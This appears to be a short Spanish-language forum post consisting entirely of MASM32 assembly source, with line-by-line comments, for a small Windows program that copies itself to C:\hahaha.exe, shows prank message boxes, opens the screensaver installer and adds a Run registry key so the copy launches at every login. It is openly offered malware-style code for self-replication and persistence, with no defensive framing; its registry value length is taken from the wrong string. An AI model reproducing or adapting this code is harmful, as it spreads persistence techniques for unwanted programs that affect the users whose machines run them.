Saludos.
.386
.model flat,stdcall
option casemap:none
;Declaramos las librerias
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\advapi32.lib
include \masm32\include\advapi32.inc
includelib \masm32\lib\shell32.lib
include \masm32\include\shell32.inc
;Declaramos los datos
.data
torun db 100 dup(0)
dest db "C:\hahaha.exe",0
open db "open",0
rundll32 db "rundll32.exe",0
InstallSS db "desk.cpl,InstallScreenSaver ",0
szREGSZ db 'REG_SZ',0
szTestKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0
key db "Hello",0
szmine db "Let's go shopping!!!",0
szmyname db "ScreenFileName",0
hkey dd ?
dayt dd ?
lpdwDisp dd ?
;Empieza el programa
.code
start:
;ruta actual del ejecutable
invoke GetModuleFileName,0,offset torun,256
;se copia a si mismo a "C:\hahaha.exe"
invoke CopyFile,addr torun,addr dest,FALSE
;mensaje con mensaje "Hello" y titulo "Let's go shopping!!!"
invoke MessageBox,0,addr key,addr szmine,MB_OK
;mensaje con mensaje ruta actual del ejecutable y titulo "C:\hahaha.exe"
invoke MessageBox,0,addr torun,addr dest,MB_OK
;ejecuta configuracion del protector de pantalla
invoke ShellExecuteA,0,offset open,offset rundll32,offset InstallSS,0,1
;crea registro en Software\Microsoft\Windows\CurrentVersion\Run
invoke RegCreateKeyEx,HKEY_CURRENT_USER,addr szTestKey,0,addr szREGSZ,0,KEY_WRITE,0,addr hkey,addr lpdwDisp
INVOKE lstrlen, addr szmine
mov dayt, eax
;crea la entrada o clave en el registro con nombre "ScreenFileName" y valor "C:\hahaha.exe"
INVOKE RegSetValueEx, hkey, addr szmyname, 0, REG_SZ, addr dest, dayt
INVOKE RegCloseKey, hkey
invoke ExitProcess,0 ;sale del proceso
end start